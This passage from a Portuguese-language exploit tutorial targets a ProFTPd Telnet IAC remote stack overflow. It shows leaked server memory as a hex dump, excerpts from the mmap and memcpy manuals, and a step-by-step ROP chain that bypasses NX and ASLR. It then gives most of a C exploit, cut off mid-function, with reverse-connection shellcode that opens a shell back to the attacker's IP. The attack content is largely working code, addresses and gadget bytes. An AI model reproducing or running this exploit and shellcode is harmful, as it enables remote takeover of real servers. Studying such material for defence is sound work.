87 e6 ff ff 8b 00 89 04 24 e8 3d e7 ff ff c7 44 | ........$.=....D
24 04 60 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.`]....$.....D$
08 e8 dd 56 01 00 83 c4 2c 5b 5e 5f 5d c3 90 8d | ...V....,[^_]...
74 26 00 55 89 e5 57 56 53 83 ec 3c 8d 5d d8 89 | t&.U..WVS..<.]..
5c 24 04 c7 04 24 04 00 00 00 e8 8c f1 ff ff 85 | \$...$..........
c0 0f 88 24 03 00 00 c7 45 e0 00 00 00 00 c7 45 | ...$....E......E
e4 00 00 00 00 c7 45 d8 00 00 00 00 c7 45 dc 00 | ......E......E..
00 00 00 c7 44 24 04 67 08 00 00 c7 04 24 90 4e | ....D$.g.....$.N
0c 08 e8 8c 63 00 00 89 5c 24 04 c7 04 24 04 00 | ....c...\$...$..
00 00 e8 f4 e6 ff ff 85 c0 0f 88 54 03 00 00 c7 | ...........T....
44 24 04 6e 08 00 00 c7 04 24 90 4e 0c 08 e8 e0 | D$.n.....$.N....
5f 00 00 a1 5c e6 0d 08 c7 44 24 0c 00 00 00 00 | _...\....D$.....
c7 44 24 08 86 4e 0c 08 c7 44 24 04 00 80 00 00 | .D$..N...D$.....
8b 40 40 89 04 24 e8 f8 98 00 00 85 c0 89 c3 0f | .@@..$..........
84 a4 00 00 00 8d b6 00 00 00 00 8b 43 20 8b 70 | ............C .p
04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........
a6 75 56 8b 30 c7 44 24 04 7a 08 00 00 c7 04 24 | .uV.0.D$.z.....$
90 4e 0c 08 e8 fa 62 00 00 89 74 24 04 c7 04 24 | .N....b...t$...$
00 00 00 00 e8 62 e6 ff ff 85 c0 0f 88 02 02 00 | .....b..........
00 c7 44 24 04 81 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N..
e8 4e 5f 00 00 c7 44 24 04 eb 4e 0c 08 c7 04 24 | .N_...D$..N....$
02 00 00 00 e8 da 54 01 00 8b 03 89 1c 24 c7 44 | ......T......$.D
24 10 00 00 00 00 c7 44 24 0c 86 4e 0c 08 c7 44 | $......D$..N...D
24 08 00 80 00 00 89 44 24 04 e8 44 96 00 00 85 | $......D$..D....
c0 89 c3 0f 85 62 ff ff ff a1 5c e6 0d 08 c7 44 | .....b....\....D
24 0c 00 00 00 00 c7 44 24 08 b1 4e 0c 08 c7 44 | $......D$..N...D
24 04 00 80 00 00 8b 40 40 89 04 24 e8 22 98 00 | $......@@..$."..
00 85 c0 89 c3 0f 84 9e 00 00 00 8b 43 20 8b 70 | ............C .p
04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........
a6 75 56 8b 30 c7 44 24 04 92 08 00 00 c7 04 24 | .uV.0.D$.......$
90 4e 0c 08 e8 2a 62 00 00 89 74 24 04 c7 04 24 | .N...*b...t$...$
02 00 00 00 e8 92 e5 ff ff 85 c0 0f 88 aa 01 00 | ................
00 c7 44 24 04 a9 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N..
e8 7e 5e 00 00 c7 44 24 04 04 4f 0c 08 c7 04 24 | .~^...D$..O....$
02 00 00 00 e8 0a 54 01 00 8b 03 89 1c 24 c7 44 | ......T......$.D
24 10 00 00 00 00 c7 44 24 0c b1 4e 0c 08 c7 44 | $......D$..N...D
24 08 00 80 00 00 89 44 24 04 e8 74 95 00 00 85 | $......D$..t....
c0 89 c3 0f 85 62 ff ff ff a1 5c e6 0d 08 c7 44 | .....b....\....D
24 0c 00 00 00 00 c7 44 24 08 db 4e 0c 08 c7 44 | $......D$..N...D
24 04 00 80 00 00 8b 40 40 89 04 24 e8 52 97 00 | $......@@..$.R..
00 85 c0 89 c3 0f 84 9e 00 00 00 8b 43 20 8b 70 | ............C .p
04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........
a6 75 56 8b 30 c7 44 24 04 ba 08 00 00 c7 04 24 | .uV.0.D$.......$
90 4e 0c 08 e8 5a 61 00 00 89 74 24 04 c7 04 24 | .N...Za...t$...$
07 00 00 00 e8 c2 e4 ff ff 85 c0 0f 88 6a 01 00 | .............j..
00 c7 44 24 04 ca 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N..
e8 ae 5d 00 00 c7 44 24 04 ec 5d 0c 08 c7 04 24 | ..]...D$..]....$
02 00 00 00 e8 3a 53 01 00 8b 03 89 1c 24 c7 44 | .....:S......$.D
24 10 00 00 00 00 c7 44 24 0c db 4e 0c 08 c7 44 | $......D$..N...D
24 08 00 80 00 00 89 44 24 04 e8 a4 94 00 00 85 | $......D$.......
c0 89 c3 0f 85 62 ff ff ff 83 c4 3c 5b 5e 5f 5d | .....b.....<[^_]
c3 66 90 c7 44 24 04 7c 08 00 00 c7 04 24 90 4e | .f..D$.|.....$.N
0c 08 e8 4c 5d 00 00 e8 3f e3 ff ff 8b 00 89 04 | ...L]...?.......
24 e8 f5 e3 ff ff c7 44 24 04 18 5d 0c 08 c7 04 | $......D$..]....
24 03 00 00 00 89 44 24 08 e8 95 53 01 00 83 c4 | $.....D$...S....
3c 5b 5e 5f 5d c3 90 8d 74 26 00 e8 0b e3 ff ff | <[^_]...t&......
8b 00 89 04 24 e8 c1 e3 ff ff c7 44 24 04 a4 5d | ....$......D$..]
0c 08 c7 04 24 03 00 00 00 89 44 24 08 e8 61 53 | ....$.....D$..aS
01 00 e9 0c fd ff ff 8d 74 26 00 c7 44 24 04 95 | ........t&..D$..
08 00 00 c7 04 24 90 4e 0c 08 e8 d4 5c 00 00 e8 | .....$.N....\...
c7 e2 ff ff 8b 00 89 04 24 e8 7d e3 ff ff c7 44 | ........$.}....D
24 04 3c 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.<]....$.....D$
08 e8 1d 53 01 00 83 c4 3c 5b 5e 5f 5d c3 90 8d | ...S....<[^_]...
74 26 00 c7 44 24 04 69 08 00 00 c7 04 24 90 4e | t&..D$.i.....$.N
0c 08 e8 8c 5c 00 00 e8 7f e2 ff ff 8b 00 89 04 | ....\...........
24 e8 35 e3 ff ff c7 44 24 04 c8 5d 0c 08 c7 04 | $.5....D$..]....
24 03 00 00 00 89 44 24 08 e8 d5 52 01 00 83 c4 | $.....D$...R....
3c 5b 5e 5f 5d c3 90 8d 74 26 00 c7 44 24 04 bd | <[^_]...t&..D$..
08 00 00 c7 04 24 90 4e 0c 08 e8 44 5c 00 00 e8 | .....$.N...D\...
37 e2 ff ff 8b 00 89 04 24 e8 ed e2 ff ff c7 44 | 7.......$......D
24 04 60 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.`]....$.....D$
08 e8 8d 52 01 00 83 c4 3c 5b 5e 5f 5d c3 90 8d | ...R....<[^_]...
...
Mais bytes a frente...
...
...
-------------------------------------------------------------------------------------------
Nosso código roda perfeitamente, explora a falha e conseguimos ler os binários do
ProFTPd. Parece muito fácil não é mesmo? Mas ainda temos trabalho a fazer. O próximo
passo é descobrir offsets de outras syscalls (atravéz desses bytes que conseguios ler)
para podermos criar nossa cadeia ROP para injetarmos nosso shellcode. Como? Sabemos que
efetuar syscalls atravéz da PLT é sucesso, devido aos endereços da PLT serem estáticos;
sabemos, também, que o espaço de memória onde reside nosso buffer não é executável
(devido a NX/PaX). Então temos que efetuar uma syscall para mapear um lugar na memória
que seja permitido ler, escrever e executar; após isso devemos efetuar outra syscall para
copiar nossas instruções para a região mapeada; depois é só desviar o fluxo de execução
para lá. Então seria muito interessante utilizarmos a syscall mmap64 para mapear a memória
que precisamos e utilizar a syscall memcpy para copiar nossas instruções. Vejamos os
manuais dessas funções:
-------------------------------------------------------------------------------------------
MMAP(2) Linux Programmer's Manual MMAP(2)
NAME top
mmap, munmap - map or unmap files or devices into memory
SYNOPSIS top
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags,
int fd, off_t offset);
int munmap(void *addr, size_t length);
See NOTES for information on feature test macro requirements.
DESCRIPTION top
mmap() creates a new mapping in the virtual address space of the
calling process. The starting address for the new mapping is
specified in addr. The length argument specifies the length of the
mapping.
If addr is NULL, then the kernel chooses the address at which to
create the mapping; this is the most portable method of creating a
new mapping. If addr is not NULL, then the kernel takes it as a hint
about where to place the mapping; on Linux, the mapping will be
created at a nearby page boundary. The address of the new mapping is
returned as the result of the call.
The contents of a file mapping (as opposed to an anonymous mapping;
see MAP_ANONYMOUS below), are initialized using length bytes starting
at offset offset in the file (or other object) referred to by the
file descriptor fd. offset must be a multiple of the page size as
returned by sysconf(_SC_PAGE_SIZE).
The prot argument describes the desired memory protection of the
mapping (and must not conflict with the open mode of the file). It
is either PROT_NONE or the bitwise OR of one or more of the following
flags:
PROT_EXEC Pages may be executed.
PROT_READ Pages may be read.
PROT_WRITE Pages may be written.
PROT_NONE Pages may not be accessed.
The flags argument determines whether updates to the mapping are
visible to other processes mapping the same region, and whether
updates are carried through to the underlying file. This behavior is
determined by including exactly one of the following values in flags:
MAP_SHARED Share this mapping. Updates to the mapping are visible to
other processes that map this file, and are carried
through to the underlying file. The file may not actually
be updated until msync(2) or munmap() is called.
MAP_PRIVATE
Create a private copy-on-write mapping. Updates to the
mapping are not visible to other processes mapping the
same file, and are not carried through to the underlying
file. It is unspecified whether changes made to the file
after the mmap() call are visible in the mapped region.
Both of these flags are described in POSIX.1-2001.
In addition, zero or more of the following values can be ORed in
flags:
MAP_32BIT (since Linux 2.4.20, 2.6)
Put the mapping into the first 2 Gigabytes of the process
address space. This flag is supported only on x86-64, for
64-bit programs. It was added to allow thread stacks to be
allocated somewhere in the first 2GB of memory, so as to
improve context-switch performance on some early 64-bit
processors. Modern x86-64 processors no longer have this
performance problem, so use of this flag is not required on
those systems. The MAP_32BIT flag is ignored when MAP_FIXED
is set.
MAP_ANON
Synonym for MAP_ANONYMOUS. Deprecated.
MAP_ANONYMOUS
The mapping is not backed by any file; its contents are
initialized to zero. The fd and offset arguments are ignored;
however, some implementations require fd to be -1 if
MAP_ANONYMOUS (or MAP_ANON) is specified, and portable
applications should ensure this. The use of MAP_ANONYMOUS in
conjunction with MAP_SHARED is supported on Linux only since
kernel 2.4.
MAP_DENYWRITE
This flag is ignored. (Long ago, it signaled that attempts to
write to the underlying file should fail with ETXTBUSY. But
this was a source of denial-of-service attacks.)
MAP_EXECUTABLE
This flag is ignored.
MAP_FILE
Compatibility flag. Ignored.
MAP_FIXED
Don't interpret addr as a hint: place the mapping at exactly
that address. addr must be a multiple of the page size. If
the memory region specified by addr and len overlaps pages of
any existing mapping(s), then the overlapped part of the
existing mapping(s) will be discarded. If the specified
address cannot be used, mmap() will fail. Because requiring a
fixed address for a mapping is less portable, the use of this
option is discouraged.
MAP_GROWSDOWN
Used for stacks. Indicates to the kernel virtual memory
system that the mapping should extend downward in memory.
MAP_HUGETLB (since Linux 2.6.32)
Allocate the mapping using "huge pages." See the Linux kernel
source file Documentation/vm/hugetlbpage.txt for further
information.
MAP_LOCKED (since Linux 2.5.37)
Lock the pages of the mapped region into memory in the manner
of mlock(2). This flag is ignored in older kernels.
MAP_NONBLOCK (since Linux 2.5.46)
Only meaningful in conjunction with MAP_POPULATE. Don't
perform read-ahead: create page tables entries only for pages
that are already present in RAM. Since Linux 2.6.23, this
flag causes MAP_POPULATE to do nothing. One day the
combination of MAP_POPULATE and MAP_NONBLOCK may be
reimplemented.
MAP_NORESERVE
Do not reserve swap space for this mapping. When swap space
is reserved, one has the guarantee that it is possible to
modify the mapping. When swap space is not reserved one might
get SIGSEGV upon a write if no physical memory is available.
See also the discussion of the file
/proc/sys/vm/overcommit_memory in proc(5). In kernels before
2.6, this flag had effect only for private writable mappings.
MAP_POPULATE (since Linux 2.5.46)
Populate (prefault) page tables for a mapping. For a file
mapping, this causes read-ahead on the file. Later accesses
to the mapping will not be blocked by page faults.
MAP_POPULATE is supported for private mappings only since
Linux 2.6.23.
MAP_STACK (since Linux 2.6.27)
Allocate the mapping at an address suitable for a process or
thread stack. This flag is currently a no-op, but is used in
the glibc threading implementation so that if some
architectures require special treatment for stack allocations,
support can later be transparently implemented for glibc.
MAP_UNINITIALIZED (since Linux 2.6.33)
Don't clear anonymous pages. This flag is intended to improve
performance on embedded devices. This flag is honored only if
the kernel was configured with the
CONFIG_MMAP_ALLOW_UNINITIALIZED option. Because of the
security implications, that option is normally enabled only on
embedded devices (i.e., devices where one has complete control
of the contents of user memory).
Of the above flags, only MAP_FIXED is specified in POSIX.1-2001.
However, most systems also support MAP_ANONYMOUS (or its synonym
MAP_ANON).
Some systems document the additional flags MAP_AUTOGROW,
MAP_AUTORESRV, MAP_COPY, and MAP_LOCAL.
Memory mapped by mmap() is preserved across fork(2), with the same
attributes.
A file is mapped in multiples of the page size. For a file that is
not a multiple of the page size, the remaining memory is zeroed when
mapped, and writes to that region are not written out to the file.
The effect of changing the size of the underlying file of a mapping
on the pages that correspond to added or removed regions of the file
is unspecified.
...
...
--------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------
MEMCPY(3) Linux Programmer's Manual MEMCPY(3)
NAME
memcpy - copy memory area
SYNOPSIS
#include <string.h>
void *memcpy(void *dest, const void *src, size_t n);
DESCRIPTION
The memcpy() function copies n bytes from memory area src to memory area
dest. The memory areas must not overlap. Use memmove(3) if the memory
areas do overlap.
RETURN VALUE
The memcpy() function returns a pointer to dest.
CONFORMING TO
SVr4, 4.3BSD, C89, C99, POSIX.1-2001.
SEE ALSO
bcopy(3), memccpy(3), memmove(3), mempcpy(3), strcpy(3), strncpy(3), wmem‐
cpy(3)
COLOPHON
This page is part of release 3.44 of the Linux man-pages project. A
description of the project, and information about reporting bugs, can be
found at http://www.kernel.org/doc/man-pages/.
2010-11-15 MEMCPY(3)
--------------------------------------------------------------------------------------------
Simples, para chamar mmap64 você precisa de passar: o endereço do inicio do lugar a ser
mapeado; o tamanho a ser mapeado; o protocolo (permissões do que se pode fazer); flags;
file descriptor; e o offset. Então os argmentos para mmap podem ser o seguinte:
Encadeamento de argumentos para mmap em um buffer:
-> \x00\x00\x00\x10 ----> endereço de início
-> \x00\x10\x00\x00 ----> tamanho 1000 bytes (em hexadecimal)
-> \x07\x00\x00\x00 ----> 07 = protocolo que atribui permissão de ler, escrever e executar
-> \x32\x00\x00\x00 ----> flag indicando ser 32 bits
-> \xff\xff\xff\xff ----> file descriptor (0xffffffff provavelmente não estará em uso)
-> \x00\x00\x00\x00 --|
-> \x00\x00\x00\x00 |
-> \x00\x00\x00\x00 |-> offset
-> \x00\x00\x00\x00 |
-> \x00\x00\x00\x00 |
-> \x00\x00\x00\x00 --|
Para chamar memcpy você precisa passar: o endereço de destino para onde copiar os bytes;
o endereço de origem dos bytes a serem copiados; e o tamanho do número de bytes a serem
copiados. Olhe como fica:
Encadeamento de argumentos para memcpy em um buffer:
-> \x00\x00\x00\x10 ----> endereço para onde vão os bytes
-> xxxx ----> endereço de origem dos bytes (ainda determinaremos isso)
-> \x02\x00\x00\x00 ----> número de bytes a serem copiados (pode mudar dependendo da
ocasião)
Para fazermos isso temos que executar uma rotina que irá pegar os bytes do shellcode no nosso
buffer para a região executável para conseguirmos executar o código remoto. Essa rotina
teremos que montar com os próprios binários do ProFTPd. Então o que temos que fazer é o
seguinte: mapear a memória onde podemos executar código com mmap, identificar os bytes da
nossa rotina de cópia nos proprios binários do Proftpd, copiar os bytes para a memória
executável com memcpy, e desviar o fluxo de execução para lá. Então a rotina de cópia de
bytes executará, e copiará nosso shellcode para o lugar certo e de lá executaremos ele.
Preciamos dessa rotina de cópia de bytes, pois não podemos esquecer que nosso shellcode está
indo no buffer em tempo de execução, então essa rotina é uma maneira de conseguirmos manipular
esses bytes em tempo de execução. Não podemos esquecer que para fazer tudo isso estamos
utilizando Return Oriented Programming, então precisaremos de identificar bytes referentes
as instruções "pop pop pop ret" (para podermos levar nossos argumentos das funções para o
outro segmento de memória) e "add esp, 20h; pop; pop" (tem o mesmo efeito de "pop pop ret"
porém em larga escala). Já sabemos o que fazer, então mãos à obra!
Da mesma maneira que conseguimos achar o endereço de write(2), podemos achar os endereços de
mmap64 e memcpy:
Na máquina a ser atacada: -------------------------------------------------------------------------
...
...
0x08053698 mktime
0x08053698 mktime@plt
0x080536a8 readdir64
0x080536a8 readdir64@plt
0x080536b8 cap_free
0x080536b8 cap_free@plt
0x080536c8 memcpy
0x080536c8 memcpy@plt <----------- endereço de memcpy()
0x080536d8 strtoul
0x080536d8 strtoul@plt
0x080536e8 strlen
0x080536e8 strlen@plt
0x080536f8 setgrent
0x080536f8 setgrent@plt
0x08053708 futimes
0x08053708 futimes@plt
...
0x08053cc8 bind_textdomain_codeset
0x08053cc8 bind_textdomain_codeset@plt
0x08053cd8 setgid
0x08053cd8 setgid@plt
0x08053ce8 cap_set_flag
0x08053ce8 cap_set_flag@plt
0x08053cf8 snprintf
0x08053cf8 snprintf@plt
0x08053d08 kill
0x08053d08 kill@plt
0x08053d18 mmap64
0x08053d18 mmap64@plt <----------- endereço de mmap64()
0x08053d28 getpwent
0x08053d28 getpwent@plt
0x08053d38 cap_to_text
0x08053d38 cap_to_text@plt
0x08053d48 cap_get_proc
0x08053d48 cap_get_proc@plt
0x08053d58 gethostbyname2
0x08053d58 gethostbyname2@plt
0x08053d68 argz_create_sep
0x08053d68 argz_create_sep@plt
0x08053d78 getpeername
...
...
-------------------------------------------------------------------------------------------------
Pronto sabemos que o endereço de memcpy() é 0x080536c8 e o endereço de mmap64 é 0x08053d18.
Sabemos também que as instruções "pop pop pop ret" tem os opcodes "\x5e\x5f\x5d" e que
"add esp, 20h; pop; pop" tem opcodes "\x83\xc4\x20\x5b\x5e\x5d\xc3" (Mais uma vez deixo a cargo
do leitor descobrir de onde vem esses opcodes. Sugiro escrever uma rotina em assembly, compilar
e ver os opcodes com objdump). Apresento a vocês a nossa rotina de cópia de bytes, escrita em
assembly. Não vou entrar no mérito da rotina, para não estender esse paper, pois eu teria que
explicar algumas coisas da arquitetura x86 e do sistema operacional utilizado (isso é mais uma
coisa que o leitor deve estudar).
rotina de cópia de bytes:
#0100740B FC CLD
#0100740C 8BF4 MOV ESI,ESP
#0100740E BF 00010010 MOV EDI,10000100
#01007413 B9 00020000 MOV ECX,200
#01007418 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
# EB FF JMP +0xFF
Então os bytes dessa rotina são:
-> "\xfc\x8b"
-> "\xf4"
-> "\xbf"
-> "\x00\x01\x00"
-> "\x10"
-> "\xb9\x00\x02\x00\x00"
-> "\xf3"
-> "\xa4"
-> "\xeb\xff"
Pronto, agora é só pesquisar no buffer de bytes lidos do ProFTPd (que nós já conseguimos) os
offsets dos bytes da rotina e das instruções "pop pop pop ret" e "add esp, 20h; pop; pop".
Escrevi uma função para comparar bytes de dois buffers, retornando o offset de onde começa
a primeira ocorrência do buffer procurado, e podemos utilizar essa função para procurar os
offsets dos opcodes e saber a posição dos bytes que queremos utilizar, olhem só:
---------------------------------------------------------------------------------------------------
u_int indexOf(const unsigned char *data_buffer, const unsigned int length,
const unsigned char *needle, const unsigned int needlelen){
u_int k;
for(k=0; k < length - needlelen; k++){
if(memcmp(data_buffer+k, needle, needlelen) == 0){
return k;
}
}
}
---------------------------------------------------------------------------------------------------
Aqui segue um exemplo do uso dessa função para encontrarmos o offset dos bytes procurados e assim
podermos deduzir o endereço onde estarão esses bytes na memória do servidor:
exemplo: ------------------------------------------------------------------------------------------
char pop3ret[]="\x5e\x5f\x5d";
...
// Trying to find Pop Ret location
u_int index = indexOf(read_buffer, sizeof(read_buffer), pop3ret, sizeof(pop3ret)-1);
if(index >= 0){
p3r += (u_int) index;
printf("\n\t [+] Pop3Ret is located at 0x%08x", p3r);
} else {
printf("\n\t [-] Fail! Could not find Pop3Ret!");
}
---------------------------------------------------------------------------------------------------
Então temos os endereços das funções na PLT, temos os offsets dos bytes e dos gadgets das
instruções que queremos. Temos tudo!!! Agora é só montar nosso buffer e explorar. Para fazermos
isso devemos seguir a seguinte ordem:
-> Endereço da função
-> "pop pop pop ret" ou "add esp, 20h; pop; pop"
-> argumentos da função
Encadeando assim podemos construir nossa rotina de copia de shellcode em um espaço executável
e assim injetarmos shellcode, burlando ASLR entre outras. Nota-se utiliarei a instrução
"add esp, 20h; pop; pop" para copiar os argumentos de mmap64(), pois são muitos argumentos
e usarei "pop pop pop ret" para memcpy().
Para finalizar o exemplo abaixo mostra como criar o buffer para o uso de memcpy(). Veja o
trexo de código abaixo (os comentários explicam tudo!):
ex.: -----------------------------------------------------------------------------------------
*((u_int *)(buffer+OFFSET+1+PADDING+52)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+56)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+60, "\x00\x00\x00\x10", 4); //endereço do primeiro byte
*((u_int *)(buffer+OFFSET+1+PADDING+64)) = byte1_addr;
memcpy(buffer+OFFSET+1+PADDING+68, "\x02\x00\x00\x00", 4); //numero de bytes a copiar
*((u_int *)(buffer+OFFSET+1+PADDING+72)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+76)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+80, "\x02\x00\x00\x10", 4); //endereço do segundo byte =
//endereḑo do primeiro + numero
//de bytes do primeiro
//"\x00\x00\x00\x10" +
//"\x02\x00\x00\x00"
*((u_int *)(buffer+OFFSET+1+PADDING+84)) = byte2_addr;
memcpy(buffer+OFFSET+1+PADDING+88, "\x01\x00\x00\x00", 4);
----------------------------------------------------------------------------------------------
Como o primeiro argumento de memcpy() é o endereço que vamos copiar os bytes, então temos que
ir incrementando a medida que vamos copiando os bytes. Para ir concatenando corretamente
nossos bytes na posição certa.
Então chegou a hora mais experada!!! Vejamos como que fica nosso exploit:
exploit_proftpd.c ----------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define OFFSET 4101
#define PADDING 34
#define WRITE 0x080532d8
#define MMAP64 0x08053d18
#define MEMCPY 0x080536c8
// reverse connection shellcode -> 95 bytes
// shellcode[31] to shellcode[34] is IP position
// shellcode[37] and shellcode[38] is PORT position (port 4444 by default)
char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66"
"\x58\x6a\x01\x5b\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
"\x68\x7f\x7f\x7f\x7f\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66\x58\xcd\x80"
"\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31"
"\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\x89\xe1\xcd\x80";
char write_fd[]="\x01\x00\x00\x00";
char write_len[]="\xff\xff\x0f\x00";
char pop3ret[]="\x5e\x5f\x5d";
char large_popret[]="\x83\xc4\x20\x5b\x5e\x5d\xc3";
char junk[]="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41";
// shellcode copy routine:
char byte1[]="\xfc\x8b"; // FC CLD
char byte2[]="\xf4"; // 8BF4 MOV ESI,ESP
char byte3[]="\xbf"; // BF 00010010 MOV EDI,10000100
char byte4[]="\x00\x01\x00";
char byte5[]="\x10";
char byte6[]="\xb9\x00\x02\x00\x00"; // B9 00020000 MOV ECX,200
char byte7[]="\xf3"; // F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
char byte8[]="\xa4";
char byte9[]="\xeb\xff"; // EB FF JMP +0xFF
char mmap64_args[]="\x00\x00\x00\x10"
"\x00\x10\x00\x00"
"\x07\x00\x00\x00"
"\x32\x00\x00\x00"
"\xff\xff\xff\xff"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00";
// A function to display an error message and then exit
void fatal(char *message) {
char error_message[100];
strcpy(error_message, "[!!] Fatal Error ");
strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}
// dumps raw memory in hex byte and printable split format
void dump(const unsigned char *data_buffer, const unsigned int length) {
unsigned char byte;
unsigned int i, j;
for(i=0; i < length; i++) {
byte = data_buffer[i];
printf("%02x ", data_buffer[i]); // display byte in hex
if(((i%16)==15) || (i==length-1)) {
for(j=0; j < 15-(i%16); j++)
printf(" ");
printf("| ");
for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line
byte = data_buffer[j];
if((byte > 31) && (byte < 127)) // outside printable char range
printf("%c", byte);
else
printf(".");
}
printf("\n"); // end of the dump line (each line 16 bytes)
} // end if
} // end for
printf("\n");
}
u_int indexOf(const unsigned char *data_buffer, const unsigned int length,
const unsigned char *needle, const unsigned int needlelen){
u_int k;
for(k=0; k < length - needlelen; k++){
if(memcmp(data_buffer+k, needle, needlelen) == 0){
return k;
}
}
}
int main(int argc, char *argv[]) {
int sockfd;
struct hostent *host_info;
struct hostent *my_host_info;
struct sockaddr_in target_addr;
unsigned char buffer[OFFSET+1+PADDING+336+sizeof(shellcode)+11];
unsigned char read_buffer[0xfffff];
u_int value = (u_int) WRITE - (u_int) 59;
u_int p3r = value;
u_int lpr = value;
u_int addr = value;
u_int byte1_addr = value;
u_int byte2_addr = value;
u_int byte3_addr = value;
u_int byte4_addr = value;
u_int byte5_addr = value;
u_int byte6_addr = value;
u_int byte7_addr = value;
u_int byte8_addr = value;
u_int byte9_addr = value;
if(argc < 2) {
printf("\n\t Proftpd Telnet IAC remote stack overflow exploit\n");
printf("\t Writen by: F0rb1dd3n\n");
printf("\n\t Usage: %s <target IP> <your IP>\n\n", argv[0]);
exit(1);
}
if((my_host_info = gethostbyname(argv[2])) == NULL)
fatal("looking up your hostname");
memcpy(shellcode+31, my_host_info->h_addr, my_host_info->h_length);
if((host_info = gethostbyname(argv[1])) == NULL)
fatal("looking up hostname");
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(21);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8); // zero the rest of the struct
printf("\n\t Proftpd Telnet IAC remote stack overflow exploit\n");
printf("\t Writen by: F0rb1dd3n\n");
printf("\n\t Target: %s\n", argv[1]);
printf("\n\t Trying write(2) offset: 0x%08x", WRITE);
bzero(buffer, OFFSET+1+PADDING+22); // zero out the buffer
memcpy(buffer+OFFSET, "\xff", 1); // triggering the vulnerability
memcpy(buffer+OFFSET+1, junk, strlen(junk)); // junk
*((u_int *)(buffer+OFFSET+1+PADDING)) = WRITE; // write address
memcpy(buffer+OFFSET+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4); // crash dummy
memcpy(buffer+OFFSET+1+PADDING+8, write_fd, strlen(write_fd)); // fd for write
*((u_int *)(buffer+OFFSET+1+PADDING+12)) = WRITE; // buffer for write
memcpy(buffer+OFFSET+1+PADDING+16, write_len, strlen(write_len)); // lenght for write
memcpy(buffer+OFFSET+1+PADDING+20, "\x0a\x0d", 2); // end of buffer
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
fatal("connecting to target server");
write(sockfd, buffer, OFFSET+1+PADDING+22);
bzero(read_buffer, sizeof(read_buffer));
if(read(sockfd, read_buffer, 0xfffff) != 0) {
printf("\n\t [+] Success on write(2)");
close(sockfd);
printf("\n\t [+] mmap64() is located at 0x%08x", MMAP64);
printf("\n\t [+] memcpy() is located at 0x%08x", MEMCPY);
printf("\n\n\t Attempting to read memory of the server...\n");
// Trying to find Pop Ret location
u_int index = indexOf(read_buffer, sizeof(read_buffer), pop3ret, sizeof(pop3ret)-1);
if(index >= 0){
p3r += (u_int) index;
printf("\n\t [+] Pop3Ret is located at 0x%08x", p3r);
} else {
printf("\n\t [-] Fail! Could not find Pop3Ret!");
}
index = indexOf(read_buffer, sizeof(read_buffer), large_popret, sizeof(large_popret)-1);
if(index >= 0){
lpr += (u_int) index;
printf("\n\t [+] Large PopRet is located at 0x%08x", lpr);
} else {
printf("\n\t [-] Fail! Could not find Large PopRet!");
}
// Trying to find special bytes location to shellcode copy routine
index = indexOf(read_buffer, sizeof(read_buffer), byte1, sizeof(byte1)-1);
if(index >= 0){
byte1_addr += (u_int) index;
printf("\n\t [+] Byte1 is located at 0x%08x", byte1_addr);
} else {
printf("\n\t [-] Fail! Could not find Byte1!");
}
index = indexOf(read_buffer, sizeof(read_buffer), byte2, sizeof(byte2)-1);
if(index >= 0){
byte2_addr += (u_int) index;
printf("\n\t [+] Byte2 is located at 0x%08x", byte2_addr);
} else {
printf("\n\t [-] Fail! Could not find Byte2!");
}
index = indexOf(read_buffer, sizeof(read_buffer), byte3, sizeof(byte3)-1);
if(index >= 0){
byte3_addr += (u_int) index;
printf("\n\t [+] Byte3 is located at 0x%08x", byte3_addr);
} else {
printf("\n\t [-] Fail! Could not find Byte3!");
}
index = indexOf(read_buffer, sizeof(read_buffer), byte4, sizeof(byte4)-1);
if(index >= 0){
byte4_addr += (u_int) index;
printf("\n\t [+] Byte4 is located at 0x%08x", byte4_addr);
} else {
printf("\n\t [-] Fail! Could not find Byte4!");
}
index = indexOf(read_buffer, sizeof(read_buffer), byte5, sizeof(byte5)-1);
if(index >= 0){
byte5_addr += (u_int) index;
